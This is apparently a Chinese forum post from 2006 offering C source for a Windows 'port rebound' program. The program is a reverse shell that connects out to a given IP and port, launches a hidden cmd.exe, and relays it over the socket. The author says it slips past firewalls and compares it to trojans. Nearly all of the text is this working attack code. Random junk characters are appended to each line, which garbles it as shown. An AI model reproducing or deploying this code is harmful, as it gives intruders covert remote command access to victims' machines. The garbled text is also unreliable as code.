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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :zk.^q  
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/* ============================== 'k) P(H  
Rebound port in Windows NT HrcnyQ`Q0  
By wind,2006/7 l~ >rpG  
===============================*/ oFA$X Y  
#include X=7vUb,\gB  
#include ,PtR^" Mf4  
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#pragma comment(lib,"wsock32.lib") (IWd?,H,n  
e @MCumc~+  
void OutputShell(); $7ME a"a  
SOCKET sClient; %-zH]"Q$  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =>TtX@Q{  
H  "/e%  
void main(int argc,char **argv) w@D@,q'x  
{ +hYmL Sq  
WSADATA stWsaData; '3 ,JL!  
int nRet; [+2^n7R  
SOCKADDR_IN stSaiClient,stSaiServer; ]5MR p7  
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if(argc != 3) O4+w2'.,  
{ Ki 6BPi^  
printf("Useage:\n\rRebound DestIP DestPort\n"); yOm6HA``hT  
return; k$m X81  
} _J#Hq 'K  
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WSAStartup(MAKEWORD(2,2),&stWsaData); LA(JA  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e5y`CXX  
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stSaiClient.sin_family = AF_INET; O? <_,-.  
stSaiClient.sin_port = htons(0); {twf7.eY  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); v*p)"J *  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) E&=?\KM  
{ HCZ%DBU96  
printf("Bind Socket Failed!\n"); iONql7S @  
return; z^a?t<+  
} r]vBr^kq  
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stSaiServer.sin_family = AF_INET; &l)v'  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0iq$bT|  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); z~;qDf|I  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ",oUVl  
{ =njj.<BO  
printf("Connect Error!"); x}24?mP  
return; um4zLsd#v  
} Q9 ",  
OutputShell(); ~|jy$*m4A  
} {?_)m/\  
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void OutputShell() KV(W|~+rM  
{ Vc<n6  
char szBuff[1024]; <GlV!y  
SECURITY_ATTRIBUTES stSecurityAttributes; .=<pU k 3G  
OSVERSIONINFO stOsversionInfo; ) FsSXnZL  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $G.|5sEk  
STARTUPINFO stStartupInfo; U9%nku4  
char *szShell; /R?uxhV  
PROCESS_INFORMATION stProcessInformation; yL,B\YCf8  
unsigned long lBytesRead; !KW)*  
z{_Vn(Kg   
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);  Ue Tp,  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -B! TA0=oJ  
stSecurityAttributes.lpSecurityDescriptor = 0;  X0L{#U  
stSecurityAttributes.bInheritHandle = TRUE; O  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); G->@   
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $fG/gYvI\  
Y)5}bmL  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); uv d>  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l0o_C#"<S  
stStartupInfo.wShowWindow = SW_HIDE; <\ c8q3N  
stStartupInfo.hStdInput = hReadPipe; \Fjq|3`<l  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1Ez A@3:{  
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GetVersionEx(&stOsversionInfo); {[iQRYD0|  
msJn;(Pn  
switch(stOsversionInfo.dwPlatformId) i oQlC4Y  
{ !I$RE?7eY  
case 1: ~|]\. ^B  
szShell = "command.com"; w N.Jyb  
break; %ua5T9H Z  
default: $^GnY7$!>  
szShell = "cmd.exe"; xrd ^vE  
break; "aH]4DO  
} < duM8   
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1.CYs<  
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send(sClient,szMsg,77,0); 6 d6SP)|j  
while(1) zh#uwT1u  
{ I#%-A  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I<f M8t.Y>  
if(lBytesRead) &Kwt vUN{  
{ epe}^Pl  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Q4 S8NqE  
send(sClient,szBuff,lBytesRead,0); JE!Xf}nEi  
} ~<-h# B  
else an@Ue7  
{ 4\iQ%fb  
lBytesRead=recv(sClient,szBuff,1024,0); \|s/_35(  
if(lBytesRead<=0) break; Wb$bCR#?<  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `UPmr50Wq  
} xEqrs6sR  
} eZo%q,L  
7?@v}%w  
return; <ZEll[0L  
}
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